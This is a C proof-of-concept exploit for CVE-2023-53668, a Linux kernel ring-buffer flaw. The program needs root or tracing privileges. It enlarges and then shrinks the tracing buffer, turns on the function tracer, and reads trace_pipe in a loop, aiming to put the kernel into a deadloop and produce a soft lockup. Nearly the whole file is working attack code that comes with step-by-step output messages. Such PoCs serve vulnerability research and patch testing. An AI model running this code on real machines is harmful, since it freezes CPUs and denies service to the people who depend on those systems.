/* CVE-2023-53668 - Linux Kernel ring-buffer trace_pipe Deadloop PoC
* This PoC triggers the soft lockup by continuously reading trace_pipe
* which causes an infinite loop in the kernel.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#include <errno.h>
#define TRACING_DIR "/sys/kernel/debug/tracing"
#define TRACE_PIPE TRACING_DIR "/trace_pipe"
#define BUFFER_SIZE_KB "4096" /* Increase buffer size to 4MB */
static volatile int keep_running = 1;
void handle_signal(int sig) {
keep_running = 0;
printf("\n[!] Received signal %d, stopping...\n", sig);
}
/* Step 1: Configure the trace buffer */
int configure_buffer(void) {
char path[256];
char buf[64];
int fd;
/* Set buffer size to trigger page reduction scenario */
snprintf(path, sizeof(path), "%s/buffer_size_kb", TRACING_DIR);
fd = open(path, O_WRONLY);
if (fd < 0) {
if (errno == EACCES) {
fprintf(stderr, "[-] Need root or tracing privileges\n");
return -1;
}
perror("open buffer_size_kb");
return -1;
}
/* First increase buffer to allocate many pages */
if (write(fd, BUFFER_SIZE_KB, strlen(BUFFER_SIZE_KB)) < 0) {
perror("write buffer_size_kb");
close(fd);
return -1;
}
close(fd);
/* Then reduce buffer to trigger rb_remove_pages() with dirty entries */
fd = open(path, O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
perror("write buffer_size_kb reduce");
}
close(fd);
}
return 0;
}
/* Step 2: Enable a tracer to generate ring buffer activity */
int enable_tracer(void) {
int fd;
char path[256];
/* Enable function tracer to fill ring buffer */
snprintf(path, sizeof(path), "%s/current_tracer", TRACING_DIR);
fd = open(path, O_WRONLY);
if (fd < 0) {
perror("open current_tracer");
return -1;
}
if (write(fd, "function", 8) < 0) {
perror("write current_tracer");
close(fd);
return -1;
}
close(fd);
/* Enable tracing */
snprintf(path, sizeof(path), "%s/tracing_on", TRACING_DIR);
fd = open(path, O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
perror("write tracing_on");
}
close(fd);
}
return 0;
}
/* Step 3: Read trace_pipe to trigger the deadloop */
void trigger_deadloop(void) {
int fd;
char buf[4096];
ssize_t n;
int count = 0;
printf("[*] Opening trace_pipe to trigger deadloop...\n");
fd = open(TRACE_PIPE, O_RDONLY);
if (fd < 0) {
perror("open trace_pipe");
return;
}
/* Continuously read trace_pipe - this will hang in kernel deadloop */
while (keep_running && count < 100) {
n = read(fd, buf, sizeof(buf));
if (n < 0) {
if (errno == EINTR) continue;
perror("read trace_pipe");
break;
}
count++;
printf("[+] Read iteration %d, bytes=%zd\n", count, n);
}
close(fd);
}
int main(int argc, char *argv[]) {
printf("========================================\n");
printf("CVE-2023-53668 PoC\n");
printf("Linux Kernel ring-buffer trace_pipe Deadloop\n");
printf("========================================\n\n");
signal(SIGINT, handle_signal);
signal(SIGTERM, handle_signal);
/* Check if tracing is available */
if (access(TRACING_DIR, F_OK) != 0) {
fprintf(stderr, "[-] tracing filesystem not available\n");
fprintf(stderr, " Try: mount -t debugfs debugfs /sys/kernel/debug\n");
return 1;
}
/* Configure buffer to trigger the vulnerability condition */
printf("[*] Step 1: Configuring ring buffer...\n");
if (configure_buffer() < 0) {
fprintf(stderr, "[-] Failed to configure buffer\n");
return 1;
}
/* Enable tracer to generate buffer activity */
printf("[*] Step 2: Enabling tracer...\n");
if (enable_tracer() < 0) {
fprintf(stderr, "[-] Failed to enable tracer\n");
return 1;
}
/* Trigger the deadloop */
printf("[*] Step 3: Reading trace_pipe (will trigger deadloop)...\n");
printf("[*] Watch for soft lockup message in dmesg:\n");
printf(" 'watchdog: BUG: soft lockup - CPU#X stuck for 22s!'\n\n");
trigger_deadloop();
printf("\n[*] Done. Check dmesg for soft lockup messages.\n");
return 0;
}